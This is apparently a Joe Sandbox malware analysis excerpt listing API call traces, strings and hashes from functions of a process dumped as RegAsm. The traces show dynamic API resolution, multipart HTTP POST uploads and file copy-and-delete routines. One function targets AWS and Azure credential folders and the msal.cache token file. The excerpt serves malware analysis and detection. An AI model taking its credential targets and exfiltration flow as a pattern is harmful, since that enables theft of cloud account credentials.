GetProcAddress.KERNEL32(75900000,014EF208), ref: 004192CA
GetProcAddress.KERNEL32(75900000,014EF3A0), ref: 004192E2
GetProcAddress.KERNEL32(75900000,014EF220), ref: 004192FA
GetProcAddress.KERNEL32(75900000,014EF460), ref: 00419313
GetProcAddress.KERNEL32(75900000,014F2EC8), ref: 0041932B
GetProcAddress.KERNEL32(75900000,014F2888), ref: 00419343
GetProcAddress.KERNEL32(75900000,014F2688), ref: 0041935C
GetProcAddress.KERNEL32(75900000,014EF238), ref: 00419374
GetProcAddress.KERNEL32(75900000,014EF2E0), ref: 0041938C
GetProcAddress.KERNEL32(75900000,014EF3B8), ref: 004193A5
GetProcAddress.KERNEL32(75900000,014EF2C8), ref: 004193BD
GetProcAddress.KERNEL32(75900000,014F2708), ref: 004193D5
GetProcAddress.KERNEL32(75900000,014EF2F8), ref: 004193EE
GetProcAddress.KERNEL32(75900000,014EF310), ref: 00419406
GetProcAddress.KERNEL32(75900000,014F2928), ref: 0041941E
GetProcAddress.KERNEL32(75900000,014EF3D0), ref: 00419437
GetProcAddress.KERNEL32(75900000,014EF400), ref: 0041944F
GetProcAddress.KERNEL32(75900000,014F2908), ref: 00419467
GetProcAddress.KERNEL32(75900000,014EF490), ref: 00419480
GetProcAddress.KERNEL32(75900000,014F2728), ref: 00419498
LoadLibraryA.KERNEL32(014EF340,?,004164A0), ref: 004194AA
LoadLibraryA.KERNEL32(014EF418,?,004164A0), ref: 004194BB
LoadLibraryA.KERNEL32(014EF1A8,?,004164A0), ref: 004194CD
LoadLibraryA.KERNEL32(014ECAF8,?,004164A0), ref: 004194DF
LoadLibraryA.KERNEL32(014FA5A0,?,004164A0), ref: 004194F0
GetProcAddress.KERNEL32(75070000,014FA720), ref: 00419512
GetProcAddress.KERNEL32(75FD0000,014FA768), ref: 00419533
GetProcAddress.KERNEL32(75FD0000,014FA738), ref: 0041954B
GetProcAddress.KERNEL32(75A50000,014FA6D8), ref: 0041956D
GetProcAddress.KERNEL32(74E50000,014F25C8), ref: 0041958E
GetProcAddress.KERNEL32(76E80000,014F2F98), ref: 004195AF
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 004195C6

Strings

NtQueryInformationProcess, xrefs: 004195BA

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction ID: 826a308167d33dd6e89c68d84aa8ae535e40b86c028b310e96c4c1ecb1cfdbe7
Opcode Fuzzy Hash: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction Fuzzy Hash: D3A171B5500A00EFC764DF68ED88E1E3BBBBB4C361B50A51AEA05C3674D7349843DBA5

Function 00405150 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

lstrlenA.KERNEL32(00000000), ref: 004051E3

Part of subcall function 00418940: CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000,?,004051D4), ref: 00418960

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405257
StrCmpCA.SHLWAPI(?,01503990), ref: 00405275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405390
HttpOpenRequestA.WININET(00000000,01503970,?,01503158,00000000,00000000,00400100,00000000), ref: 004053F4

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,015038D0,00000000,?,01501920,00000000,?,00421980,00000000,?,00414CAF), ref: 00405787
lstrlenA.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
HeapAlloc.KERNEL32(00000000), ref: 004057B3
lstrlenA.KERNEL32(00000000), ref: 004057C8
memcpy.MSVCRT(?,00000000,00000000), ref: 004057DF
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057F9
memcpy.MSVCRT(?), ref: 00405806
lstrlenA.KERNEL32(00000000), ref: 00405818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405831
memcpy.MSVCRT(?), ref: 00405841
lstrlenA.KERNEL32(00000000,?,?), ref: 0040585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040589D
InternetCloseHandle.WININET(00000000), ref: 00405901
InternetCloseHandle.WININET(00000000), ref: 0040590E
InternetCloseHandle.WININET(00000000), ref: 00405918

Strings

------, xrefs: 0040568B
", xrefs: 004054D2
", xrefs: 00405756
--, xrefs: 004052D0
------, xrefs: 00405407
------, xrefs: 00405549
", xrefs: 00405614
------, xrefs: 004052E7

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2744873387-2774362122
Opcode ID: 70537bace420e2a1052e3b4a7504a93ca2a222b1397ba71bd35296624ac71811
Instruction ID: 1d52745d65e853cf4120aa405e943018ad764f54ae2154c0ea3196726ecd4ecf
Opcode Fuzzy Hash: 70537bace420e2a1052e3b4a7504a93ca2a222b1397ba71bd35296624ac71811
Instruction Fuzzy Hash: 8E325071921118ABCB14EBA1DC55FEEB338BF54314F40419EF50662192EF782B98CF6A

Function 004059B0 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405A48
StrCmpCA.SHLWAPI(?,01503990), ref: 00405A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405BE3
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,01503950,00000000,?,01501920,00000000,?,004219C0), ref: 00405EC1
lstrlenA.KERNEL32(00000000), ref: 00405ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
HeapAlloc.KERNEL32(00000000), ref: 00405EEA
lstrlenA.KERNEL32(00000000), ref: 00405EFF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405F16
lstrlenA.KERNEL32(00000000), ref: 00405F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405F41
memcpy.MSVCRT(?), ref: 00405F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F9C
InternetCloseHandle.WININET(00000000), ref: 00406000
InternetCloseHandle.WININET(00000000), ref: 0040600D
HttpOpenRequestA.WININET(00000000,01503970,?,01503158,00000000,00000000,00400100,00000000), ref: 00405C48

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00406017

Strings

", xrefs: 00405E66
------, xrefs: 00405C5B
XA, xrefs: 004060CA
------, xrefs: 00405AE6
XA, xrefs: 00405A0F, 004060B7, 00405A97, 00405AA0, 00405B0E, 00405B85, 00405C83, 00405DC4, 00405B11, 00405B88, 00405C86, 00405DC7
", xrefs: 00405D25
------, xrefs: 00405D9C

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$XA$XA
API String ID: 1406981993-2501203334
Opcode ID: 178c62c55e041f084d4565941ef0911009505f30f04abdce5e020c85204bc132
Instruction ID: fd4032899b6f210ca5ed4ade58f42d7f74ab7cfcec1a01a64090ede90c3e384c
Opcode Fuzzy Hash: 178c62c55e041f084d4565941ef0911009505f30f04abdce5e020c85204bc132
Instruction Fuzzy Hash: 4C123F71921118ABCB14EBA1DC95FEEB338BF14314F40419EF50662191EF782B99CF69

Function 0040A6C0 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A9F2
RtlAllocateHeap.NTDLL(00000000), ref: 0040A9F9
CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,014FA9E8,014FAB48), ref: 0040A7DA

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,014FAA38,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrcat.KERNEL32(?,00000000), ref: 0040AB3A
lstrcat.KERNEL32(?,004212C4), ref: 0040AB49
lstrcat.KERNEL32(?,00000000), ref: 0040AB5C
lstrcat.KERNEL32(?,004212C8), ref: 0040AB6B
lstrcat.KERNEL32(?,00000000), ref: 0040AB7E
lstrcat.KERNEL32(?,004212CC), ref: 0040AB8D
lstrcat.KERNEL32(?,00000000), ref: 0040ABA0
lstrcat.KERNEL32(?,004212D0), ref: 0040ABAF
lstrcat.KERNEL32(?,00000000), ref: 0040ABC2
lstrcat.KERNEL32(?,004212D4), ref: 0040ABD1
lstrcat.KERNEL32(?,00000000), ref: 0040ABE4
lstrcat.KERNEL32(?,004212D8), ref: 0040ABF3

Part of subcall function 00409E60: memcmp.MSVCRT(0040B741,v10,00000003), ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrcat.KERNEL32(?,00000000), ref: 0040AC3C
lstrcat.KERNEL32(?,004212DC), ref: 0040AC56
lstrlenA.KERNEL32(?), ref: 0040AC95
lstrlenA.KERNEL32(?), ref: 0040ACA4
memset.MSVCRT ref: 0040ACF3

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

DeleteFileA.KERNEL32(00000000), ref: 0040AD1F

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: 3acddd8f0195151d5be52069155cafe268df4f25bafd4bbce6b8a0a53be5c866
Instruction ID: db3bf564d8a269597709baab17c241dc92c2864a2a44399f5d1cb95b81495e87
Opcode Fuzzy Hash: 3acddd8f0195151d5be52069155cafe268df4f25bafd4bbce6b8a0a53be5c866
Instruction Fuzzy Hash: 13029371901108ABCB14EBA1DC96EEE7339BF54314F10416EF507B20A1DF786E99CB6A

Function 0040CD30 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,01501740,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,01502AE0,00420B3E), ref: 0040CDC3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040CF07
RtlAllocateHeap.NTDLL(00000000), ref: 0040CF0E
lstrcat.KERNEL32(?,00000000), ref: 0040D048
lstrcat.KERNEL32(?,0042141C), ref: 0040D057
lstrcat.KERNEL32(?,00000000), ref: 0040D06A
lstrcat.KERNEL32(?,00421420), ref: 0040D079
lstrcat.KERNEL32(?,00000000), ref: 0040D08C
lstrcat.KERNEL32(?,00421424), ref: 0040D09B
lstrcat.KERNEL32(?,00000000), ref: 0040D0AE
lstrcat.KERNEL32(?,00421428), ref: 0040D0BD
lstrcat.KERNEL32(?,00000000), ref: 0040D0D0
lstrcat.KERNEL32(?,0042142C), ref: 0040D0DF
lstrcat.KERNEL32(?,00000000), ref: 0040D0F2
lstrcat.KERNEL32(?,00421430), ref: 0040D101
lstrcat.KERNEL32(?,00000000), ref: 0040D114
lstrcat.KERNEL32(?,00421434), ref: 0040D123

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,014FAA38,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(?), ref: 0040D16A
lstrlenA.KERNEL32(?), ref: 0040D179
memset.MSVCRT ref: 0040D1C8

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

DeleteFileA.KERNEL32(00000000), ref: 0040D1F4

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 41a76dfe5de7f52c684ee966f956115872ddcfdb722daab0a99ab0f6e96a6f2c
Instruction ID: ed6c437cbd46477d92e2fdf931dfcacd4144c719bc88927133304dc8b30d11c2
Opcode Fuzzy Hash: 41a76dfe5de7f52c684ee966f956115872ddcfdb722daab0a99ab0f6e96a6f2c
Instruction Fuzzy Hash: 25E1A271901108ABCB14EBA0DC9AEEE7339AF54314F50415EF507B30A1DF786E99CB6A

Function 00414850 Relevance: 30.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414867

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414890
lstrcat.KERNEL32(?,\.azure\), ref: 004148AD

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

memset.MSVCRT ref: 004148F3
lstrcat.KERNEL32(?,00000000), ref: 0041491C
lstrcat.KERNEL32(?,\.aws\), ref: 00414939

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

memset.MSVCRT ref: 0041497F
lstrcat.KERNEL32(?,00000000), ref: 004149A8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 004149C5

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,01503960), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576

memset.MSVCRT ref: 00414A0B

Strings

*.*, xrefs: 00414944
msal.cache, xrefs: 004149D0
\.aws\, xrefs: 0041492D
\.azure\, xrefs: 004148A1
*.*, xrefs: 004148B8
Z\A, xrefs: 004148D1, 0041495D, 004149E9, 00414A14, 004148D4, 00414960, 004149EC
\.IdentityService\, xrefs: 004149B9
Azure\.aws, xrefs: 0041493F
Azure\.azure, xrefs: 004148B3
Azure\.IdentityService, xrefs: 004149CB

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$memset$Findwsprintf$FilePath$CloseFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$Z\A$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 2615841231-156850865
Opcode ID: 974132d3907a12f0df6a38a863128c841180f23f20874baab723c8f046735834
Instruction ID: 646ecaa1659512b06866923d8f1ff883aab6ee332b32f164b7e7d78f354b44b8
Opcode Fuzzy Hash: 974132d3907a12f0df6a38a863128c841180f23f20874baab723c8f046735834
Instruction Fuzzy Hash: C741FC75A4021867CB20F760EC4BFDD773C5B54704F404459B64AA60D2EEFC57C98BAA

Function 004048D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,01503990), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DC3,00000000,?,?,00000000,?,",00000000,?,015037F0), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
